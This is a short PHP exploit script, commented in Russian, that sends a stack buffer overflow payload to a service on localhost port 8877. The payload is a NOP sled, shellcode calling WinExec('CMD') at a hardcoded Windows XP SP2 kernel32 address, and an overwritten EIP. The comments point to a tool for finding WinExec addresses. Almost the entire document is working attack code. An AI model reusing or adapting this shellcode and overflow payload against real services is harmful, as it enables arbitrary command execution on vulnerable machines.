<?
# fl - Вызов функции fl()
# cmd - запуск командного интерпретатора - cmd.exe
$overflow = "cmd";

# WinExec адрес - kernel32.dll
# Чтобы достать адрес WinExec, качаем прогу:
# http://nst.void.ru/download/arwin.exe
# Usage:
# arwin.exe kernel32.dll WinExec
# Result: WinExec is located at 0x7c86114d in kernel32.dll
# # # # # # #
# WinXP -
# WinXP sp1 -
# WinXP sp2 - \x4D\x11\x86\x7C (7C86114D)
# # # # # # #
# Win2k sp1 -
# Win2k sp2 -
# Win2k sp3 -
# Win2k sp4 -
# # # # # # #
# Win98 -
# Win98 SE -
# # # # # # #
$winexec_addr = "\x4D\x11\x86\x7C";


# exploit
$srv = fsockopen("127.0.0.1", 8877);

if($overflow=="fl") $eip = "\xA8\x10\x40\x00";

if($overflow=="cmd") $eip = "\xC4\xFE\x12\x00";

for($i=0; $i<77; $i++) $nop .="\x90";
$nst = "waaaaa".
# cmd
"\x33\xC0\x50\x68\x43\x4D\x44\x20\x54\xB8".
$winexec_addr.
"\xFF\xD0\xEB\xFE".

$nop.
"AAAA". # EBP
$eip; # EIP

fwrite($srv, $nst);
print "Shellcode length:".strlen($nst);
?>